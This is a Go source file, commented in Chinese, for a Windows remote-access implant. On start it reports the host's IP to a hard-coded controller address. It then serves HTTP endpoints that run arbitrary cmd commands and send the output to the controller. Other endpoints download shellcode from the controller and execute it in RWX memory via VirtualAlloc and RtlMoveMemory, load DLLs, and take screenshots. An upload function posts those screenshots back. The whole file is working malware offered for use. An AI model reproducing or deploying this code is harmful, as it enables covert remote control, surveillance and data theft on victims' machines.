package main

import (
	"bytes"
	"fmt"
	"github.com/gin-gonic/gin"
	"github.com/kbinani/screenshot"
	"image"
	"image/png"
	"io"
	"io/ioutil"
	"log"
	"mime/multipart"
	"net"
	"net/http"
	"net/url"
	"os"
	"os/exec"
	"syscall"
	"unsafe"
)

// 回连ip定义
const ReverseIP = "192.168.2.2"

/*
---------------------------------通信功能----------------------------------------------------------------------------
*/

func GetExternalIP() (string, error) {
	conn, err := net.Dial("udp", "8.8.8.8:80")
	if err != nil {
		return "", err
	}
	defer conn.Close()

	localAddr := conn.LocalAddr().(*net.UDPAddr)
	return localAddr.IP.String(), nil
}

// 把ip地址发送给控制端
func SendIP() string {
	ip, err := GetExternalIP()
	if err != nil {
		panic(err)
	}
	url := "http://" + ReverseIP + "/user/" + ip
	response, err := http.Get(url)
	if err != nil {
		fmt.Println("HTTP GET请求失败:", err)
		return "HTTP GET请求失败"
	}

	defer response.Body.Close()

	body, err := ioutil.ReadAll(response.Body)
	if err != nil {
		fmt.Println("读取响应内容失败:", err)
		return "读取响应内容失败"
	}

	fmt.Println("HTTP响应状态码:", response.Status)
	fmt.Println("响应内容:", string(body))
	return "响应内容:\r\n" + string(body)
}

/*
********************************************************************************************************************************
功能函数相关
*/
//下载文件
func DownloadFile(url, destination string) error {
	// 发送HTTP GET请求
	resp, err := http.Get(url)
	if err != nil {
		return fmt.Errorf("Error sending HTTP GET request: %v", err)
	}
	defer resp.Body.Close()

	// 检查响应状态码
	if resp.StatusCode != http.StatusOK {
		return fmt.Errorf("Error: HTTP status code %d", resp.StatusCode)
	}

	// 创建目标文件
	file, err := os.Create(destination)
	if err != nil {
		return fmt.Errorf("Error creating file: %v", err)
	}
	defer file.Close()

	// 将响应体复制到文件中
	_, err = io.Copy(file, resp.Body)
	if err != nil {
		return fmt.Errorf("Error copying response body to file: %v", err)
	}

	fmt.Printf("File downloaded successfully: %s\n", destination)
	return nil
}

// --------------------------------------------------------- shellcode加载
const (
	MEM_COMMIT     = 0x1000
	MEM_RESERVE    = 0x2000
	PAGE_READWRITE = 0x04
	rwe            = 0x40
)

// 定义函数
var (
	kernel32      = syscall.MustLoadDLL("kernel32.dll")     //调用kernel32.dll
	ntdll         = syscall.MustLoadDLL("ntdll.dll")        //调用ntdll.dll
	V             = kernel32.MustFindProc("VirtualAlloc")   //使用kernel32.dll调用ViretualAlloc函数
	RtlMoveMemory = ntdll.MustFindProc("RtlMoveMemory")     //使用ntdll调用RtCopyMemory函数
	vp            = kernel32.MustFindProc("VirtualProtect") //使用kernel32.dll调用VirtualProtect函数

)

// 从网络上下载shellcode
func readBinaryFile(filename string) ([]byte, error) {
	// 发送HTTP GET请求获取二进制文件
	resp, err := http.Get("http://" + ReverseIP + ":8000/" + filename)
	if err != nil {
		fmt.Println("Error sending HTTP GET request:", err)
	}
	defer resp.Body.Close()

	// 检查响应状态码
	if resp.StatusCode != http.StatusOK {
		fmt.Println("Error: HTTP status code", resp.StatusCode)
	}

	// 读取二进制文件内容
	binaryData, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		fmt.Println("Error reading binary data:", err)
	}

	// 在代码中展示二进制数据
	fmt.Printf("Binary Data:\n%s\n", binaryData)
	return binaryData, err
}

// 错误检查
func checkErr(err error) {
	if err != nil { //如果内存调用出现错误，可以报出
		if err.Error() != "The operation completed successfully." { //如果调用dll系统发出警告，但是程序运行成功，则不进行警报
			println(err.Error()) //报出具体错误
			os.Exit(1)
		}
	}
}

// 加载shellcode
func LoadShellcode(filename string) {
	shellcode, err := readBinaryFile(filename)

	//调用VirtualAlloc为shellcode申请一块内存
	addr, _, err := V.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, rwe)
	if addr == 0 {
		checkErr(err)
	}
	//调用RtlCopyMemory来将shellcode加载进内存当中
	_, _, err = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
	checkErr(err)

	//syscall来运行shellcode
	syscall.SyscallN(addr)
}

// ------------------------------------------------------------ 屏幕截图
func save(img *image.RGBA, filePath string) {
	file, err := os.Create(filePath)
	if err != nil {
		panic(err)
	}
	defer file.Close()
	png.Encode(file, img)
}
func ScreenShot() {

	//自定义截图
	img, err := screenshot.Capture(0, 0, 500, 500)
	if err != nil {
		panic(err)
	}
	save(img, "自定义.png")

	//获取所有活动屏幕
	n := screenshot.NumActiveDisplays()
	if n <= 0 {
		panic("没有发现活动的显示器")
	}
	//全屏截取所有活动屏幕
	if n > 0 {
		for i := 0; i < n; i++ {
			img, err = screenshot.CaptureDisplay(i)
			if err != nil {
				panic(err)
			}
			fileName := fmt.Sprintf("第%d屏幕截图.png", i)
			save(img, fileName)
		}
	}
	//使用Union获取指定屏幕 矩形最小点和最大点
	var all image.Rectangle = image.Rect(0, 0, 0, 0)
	bounds1 := screenshot.GetDisplayBounds(0)
	all = bounds1.Union(all)
	fmt.Println(all.Min.X, all.Min.Y, all.Dx(), all.Dy())

}

// 上传图片文件
func UploadPhoto() {
	// 指定上传的文件路径
	filePath := "自定义.png"

	// 创建一个Buffer，用于存储请求体
	body := &bytes.Buffer{}

	// 创建一个multipart.Writer，用于生成multipart/form-data请求
	writer := multipart.NewWriter(body)

	// 打开文件
	file, err := os.Open(filePath)
	if err != nil {
		fmt.Println("无法打开文件:", err)
		return
	}
	defer file.Close()

	// 创建一个multipart.Writer中的文件字段
	fileWriter, err := writer.CreateFormFile("photo", filePath)
	if err != nil {
		fmt.Println("创建表单文件字段失败:", err)
		return
	}

	// 将文件内容拷贝到multipart.Writer中
	_, err = io.Copy(fileWriter, file)
	if err != nil {
		fmt.Println("拷贝文件内容失败:", err)
		return
	}

	// 写入其他表单字段（如果有的话）
	// writer.WriteField("key", "value")

	// 完成multipart请求体的写入
	writer.Close()

	// 构建POST请求
	url := "http://" + ReverseIP + "/photo" // 替换为你的服务器地址
	request, err := http.NewRequest("POST", url, body)
	if err != nil {
		fmt.Println("创建请求失败:", err)
		return
	}

	// 设置请求头
	request.Header.Set("Content-Type", writer.FormDataContentType())

	// 发送请求
	client := &http.Client{}
	response, err := client.Do(request)
	if err != nil {
		fmt.Println("发送请求失败:", err)
		return
	}
	defer response.Body.Close()

	// 处理响应
	fmt.Println("响应状态码:", response.Status)
}

// ---------------------------------------------------------- Dll 函数返回DLL导出函数的地址
func Dll(dllName string, dllFunc string) *syscall.LazyProc {
	dllFile := syscall.NewLazyDLL(dllName)
	fmt.Println("dll:", dllFile.Name)
	add := dllFile.NewProc(dllFunc)
	return add
}

func other(c *gin.Context) {
	if c.Query("loadDll") == "on" {
		proc := Dll("dlltest.dll", "msg")
		proc.Call()
		c.JSON(200, gin.H{"message": "DLL loaded"})
	} else if c.Query("loadShellcode") == "on" {
		DownloadFile("http://"+ReverseIP+":8000/1.bin", "1.bin")
		LoadShellcode("1.bin")
		c.JSON(200, gin.H{"message": "shellcode loaded"})
	} else if c.Query("screenShot") == "on" {
		ScreenShot()
		c.JSON(200, gin.H{"message": "screenshot taken"})
	} else {
		c.JSON(200, gin.H{"message": "no action"})
	}

}

// --------------------------------------------------------- 执行cmd命令
// 执行cmd命令
func Cmd(cmdParam string) (string, error) {
	cmd := exec.Command("cmd", "/c", cmdParam) // 在 Windows 下使用 "cmd" 来执行命令

	// 运行命令并获取输出
	output, err := cmd.CombinedOutput()
	if err != nil {
		log.Fatalf("cmd.Run() failed with %s\n", err)
		return "", err
	}

	return string(output), nil
}

func AcceptCmd(c *gin.Context) {
	command := c.Query("cmd")
	log.Println(command)
	result, err := Cmd(command)
	if err != nil {
		c.JSON(500, gin.H{"error": err.Error()})
		return
	}
	// 设置重定向状态码和响应头
	c.Header("Location", "http://"+ReverseIP+"/cmd/"+url.QueryEscape(result))
	c.JSON(http.StatusTemporaryRedirect, gin.H{"result": "ok"})
}

/*
**********************************************************************************************************************
主函数
*/
func main() {
	SendIP()
	r := gin.Default()
	r.GET("/execute", AcceptCmd)
	r.GET("/other", other)
	r.Run(":7999")

	/*	// 调用 Dll 函数获取导出函数地址
		proc := Dll("dlltest.dll", "msg")
		proc.Call()
	*/
	//ScreenShot()

	/*
		result := Cmd("ipconfig")
		println(result)
	*/

	//

	//LoadShellcode()
}
